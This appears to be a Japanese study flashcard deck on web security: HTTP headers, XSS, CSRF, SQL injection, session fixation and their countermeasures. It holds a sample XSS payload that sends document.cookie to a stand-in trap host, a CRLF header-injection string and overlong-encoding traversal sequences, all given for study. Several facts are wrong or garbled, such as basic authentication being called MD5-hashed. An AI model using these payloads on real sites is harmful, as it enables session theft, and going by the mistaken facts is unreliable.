SC_04_03_httpヘッダ

単語カード

設定全面表示

• URLのクエリ文字列

  https://wa3.i-3-i.info/search.html?q=piyota&ln=e
  
  ？以降
  URLパラメーターともいう
  
  HTTP GETメソッドと一緒
• クエリ文字列
  2種、意味もいう

  パッシブパラメータ
  →表示されるのは同じ（広告？）
  アクティブパラメータ
  →ユニクロのSとMの違い
• HTTPフラッド
  対策も

  GETコマンド大量に送る。サーバーダウン
  DDoS攻撃
  
  ■対策
  ・WAFを導入
  ・トラフィック監視する
  ・海外からのIPアドレスの遮断
• ボリューム型攻撃
  対策も

  ・UDPフラッド、ICMPフラッド
  ・大量のトラフィックで回線が圧迫
  　ネットワーク全体に影響
  
  対策は一緒
• PoD

  ICMP
  pingで大量パケット送る
  少量でも継続的に送ることで脅威
• 全てのウェブアプリケーションに共通の対策
  

  HTTP レスポンスヘッダの Content-Type フィールドに文字コード（charset）を指定する。
• HTTPヘッダインジェクション

  ■クッキー固定
  ①setcookie.cgi?name=XX
  %0D%0ASet-Cookie～
  のURLを送る
  ②クリックするとクッキーが固定される
  ③攻撃者がそのクッキーを使ってログイン
  
  
• HTTPヘッダインジェクション　対策

  ■対策
  ・外部パラメータ（リクエストボディ）の値をレスポンスヘッダで使用しない。
  ・改行コードをエスケープする。（他の文字に置換もしくは削除）
  
  改行文字を２つ以上含むと、その改行文字以降の部分がレスポンスボディとして扱われ、意図しないページが表示されてしまう攻撃
  
• クロスサイトスクリプティング

  ①攻撃者が罠リンクを用意し、
  ②管理者にリンクをクリックさせ
  ③攻撃者が用意したWEBサイトにセッションを送り
  ④攻撃者はそのセッションIDでアクセスして
  ⑤情報を盗む（管理者でなりすまし）
  
  ※②どうやって実行されるかは不明
• クロスサイトスクリプティングの罠サイト例
  GET
  リクストライン
  ヘッダ

  ■これはJavaScript、クッキー取得
  ①罠サイト
  http://trap.example.com/43/43-900.html
  ↓
  ②レスポンスボディ
  <script>window.location='http://trap.example.com/43/43-901.php?sid='+document.cookie;</script>
  
  ↓
  ②GET
  http://example.jp/43/43-001.php?
  keyword=%3Cscript%3
  Ewindow.location=%27http://trap.example.com/43/43-901.php?
  sid=%27%2Bdocument.cookie;
  %3C/script%3E
  HTTP/1.1
• クロスサイトスクリプティングで悪意のあるコードを埋め込む

  HTMLインジェクション
• クロスサイトスクリプティングはどこに埋め込む？
  

  URLに<script>～</script>を仕込む
• クロスサイトスクリプティング　
  対策５つ

  ■概要
  ①クッキーにHttpOnlyとJavaScript が実行されない
  Set-Cookie: sid=〇〇 Secure; HttpOnly
  ②特定の文字をサニタイジング、エスケープする
  ③URL を出力するときは、「http://」や 「https://」で始まる URL のみを許可する。
  ④ <script>...</script> 要素の内容を動的に生成しない。
  ⑤スタイルシートを任意のサイトから取り込めるようにしない。
• クロスサイトスクリプティング　
  サイタニジング詳細
  ＜
  ＞
  &
  "
  '

  < ＆lt;
  > ＆gt;
  ＆ ＆amp;
  " ＆quot;
  ' '
  
  
  
• クロスサイトスクリプティング
  型3つ

  ①反射型
  →サーバーにスクリプトがそのまま反射
  　クリックなど。URLに書いてある
  ②格納型
  →サーバーに格納
  　クリック不要。URLでない
  ③DOM型
  　反射型と同じだが、DOMの仕組みがある、
• セッションハイジャック
  概要
  対策２つ

  ■概要
  ・ログインしたセッションＩＤがどうにかして盗まれる、Httpヘッダインジェクション
  
  ■対策
  ・hiddenフィールドにセッションIDを含める
  →hiddenユーザーに表示されない
  ・セッションIDを定期的に変える
• クロスサイトリクエストフォージェリ
  概要
  

  ■概要
  ①前提として何かにログイン済み
  ②メールなどの罠サイトを送りクリックさせる
  ③ユーザーのブラウザを利用して不正なリクエストを送信させる
• クロスサイトリクエストフォージェリ
  対策4つ

  ①CSRFトークンの使用]
  処理を実行するページを POST メソッドでアクセスするようにし、その「hidden パラメータ」に秘密情報が挿入されるよう、前のページを自動生成して、実行ページではその値が正しい場合のみ処理を実行する。
  
  ②SameSite属性を設定
  　・Strict：同一サイトとみ
  　・Lax：一度別サイトにいってもいい
  　　　　 POSTはだめ
  　・none：制限なし
  ③Refererヘッダーを確認し、信頼できるドメイン確認
  ④パスワード再入力
• サーバサイドリクエストフォージェリ

  サーバ側のプログラム、ミドルウェア、ライブラリ、OS 等の脆弱性を攻撃してSSHする
• セッションフィクセーション
  概要2つ
  対策4つ

  ■概要
  ・攻撃者がセッションＩＤを送る。
  ・利用者がそれ使う。攻撃者がなりすまし。
  ■対策
  ・セッションIDの再生成
  ・セッションを困難にする
  ・セッションをURLに含めない
  ・セッションIDを含むすべての通信をHTTPSで暗号化
  ・セッションの有効期限
  ・認証後にセッションIDを変更する
• クリックジャッキング
  概要
  対策3つ

  透明なサイトをおいてだます
  
  ①直前にパスワード
  ②マウスで実行できないようにする
  ③X-Frame-Options(レスポンスヘッダ）
  他のページにフレームを禁止
  ・DENY：すべて禁止
  ・SAMEORIGIN：同一オリジンのみ許可
  ・ALLOW-FROM： 指定したオリジンのみ許可
  ④ Content-Security-Policy
  どの親（オリジン）を許可しますか?
  frame-ancestors
  ・None：すべて禁止
  ・Self ： 同一オリジン
  ・Origin：指定オリジン
• ①X-XSS-Protection
  ②X-Content-Type-Options
  ③Strict-Transport-Security

  ① XSSフィルタを無効：1
  ②指定されたContent-Typeに従う：nosniff
  ③HSTSを強制
  
• SQLインジェクション対策1

  SQL 文の組み立ては全てプレースホルダで実装する
  ■位置指定プレースホルダ
  SELECT * FROM users WHERE username = ? AND password = ?
  ■名前付きプレースホルダ
  SELECT * FROM users
  WHERE
  　　username = :username
  AND password = :password
• SQLインジェクション対策
  ①～④

  ①文字列連結により行う場合は、エスケープ処理等を行うデータベースエンジンの API を用いて、SQL 文のリテラルを正しく構成する。
  
  ②ウェブアプリケーションに渡されるパラメータに SQL 文を直接指定しない。
  
  ③エラーメッセージをそのままブラウザに表示しない
  
  ④DBに権限を与えない
• SQLインジェクション対策
  プレースホルダが使えない場合

  ・文字リテラルないで特別な意味をもつ文字をエスケープする
  ・数値リテラルで数値以外が混入しないようにする
• ディレクトリトラバーサル対策
  三つ

  ① 外部からのパラメータでウェブサーバ内のファイル名を直接指定する実装を避ける。
  ②ファイルを開く際は、固定のディレクトリを指定し、かつファイル名にディレクトリ名が含
  まれないようにする。
  ③ウェブサーバ内のファイルへのアクセス権限の設定を正しく管理する
• OSコマンドインジェクション対策
  二つ

  ①シェルを起動できる言語機能の利用を避ける。
  ②①を実行する場合その引数を構成する全ての変数に対してチェックを行い、あらかじめ許可した処理のみを実行する。
  
• バッファオーバーフロー
  対策

  ①直接メモリにアクセスできない言語で記述する。
  ②直接メモリにアクセスできる言語で記述する部分を最小限にする。
  ③脆弱性が修正されたバージョンのライブラリを使用する。
• ライブラリに情弱性あった
  どうする？
  明文化は？

  ダウンロードするライブラリに既知の脆弱性がないかを確認する。
  特定のWebサイトからの入手をルール化し、明文化する。
• httpsは一般的になにができる？

  サーバ証明書を検証して、通信先がWサーバであることを確認する
• HTTP認証2つ

  ・ベーシック認証
  　→MD5でハッシュ化。盗聴される
  ・ダイジェスト認証
  　→暗号化：チャレンジレスポンス
  ：でBASE64で
• Cookieとは

  Webサイトを閲覧した際にユーザーのブラウザに一時的に保存されるテキストファイル
• セッションIDが漏れる2つ

  ・HTTPとHTTPSのページ間を行き来する
  ・ログイン前のHTTPのページで既にセッションIDを発行しており、ログイン後も同じセッションIDを使用する。
• http
  改行コード

  %0d %0a
  →CR＋CL
• HTTPの形
  （リクエスト）
  （レスポンス）

  ・「リクエストライン」　or ・「ステータスライン」
  ・「ヘッダ」
  ・空行【CR＋LF】\r\n
  ・「メッセージボディ」
• HTTP
  GETリクエスト行
  
  GETレスポンス行

  ・メソッド パス名 HTTP/バージョン
  ・GET /index.html HTTP/1.1
  
  ・HTTP/バージョン ステータス番号 補足メッセージ
  ・ HTTP/1.1 200 OK
• GET（リクエストヘッダ）
  ・Accept：
  ・Accept-Charset :
  ・Accept-Language
  ・Accept-Encoding
  ・host(必須）
  ・Connection: Keep-Alive

  要求
  ・ブラウザが受信可能なデータ形式
  ・文字コード
  ・言語
  ・エンコード方式
  ・送るサーバ名
  ・持続接続、複数可能
• GET（リクエストヘッダ）
  ・Authorization
  ・User-Agent
  ・Referer
  ・Cookie

  ・認証情報
  ・ユーザーのブラウザに関する情報
  ・直前に見ていたURL
  ・Cookie情報
• GET（レスポンスヘッダ）
  ・Set-Cookie
  ・Location
  ・Sever

  ・サーバーからクライアントへクッキーを送信
  ・リダイレクト先のURL
  ・レスポンスしたサーバー名
• Set-Cookieの属性
  
  属性
  ・HttpOnly
  ・Secure
  ・SameSite
  

  レスポンスヘッダ
  Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/; SameSite=Strict
  
  属性
  ・Cookieの有効期限
  ・httpsで通信しているときにだけCookieの情報を送る
  ・JavaScriptからクッキーにアクセスできないようにする
  
• Expires
  Cache-Control

  レスポンスヘッダ
  ・有効期限
  ・キャッシュに関する指示複数
  　→no-store：キャッシュ禁止
  　　no-cache：変更の有無
• 検索エンジンの対象外にする
  contents=？？？

  noindex
  none
• ステータス番号
  ・100
  ・200
  ・300
  ・401
  ・404
  ・500

  ステータス番号
  ・暫定継続
  ・成功
  ・複数存在する
  ・エラー：認証されていません
  ・エラー：見つからない
  ・サーバエラー
• ステートレス

  ・サーバーで保持しない
  ・httpはステートレスなのでクッキーが必要
• エンコード
  ・%2e
  ・%2F
  ・%24
  ・%26
  

  ・%2e：.
  ・%2F：/
  →パストラバーサル
  　ディレクトリトラバーサス
  ・%2$：$
  ・%26：&
  
• %c1%1c
  %c0%9v
  %c0%af

  / や \ の文字に変換された。

広告

コメント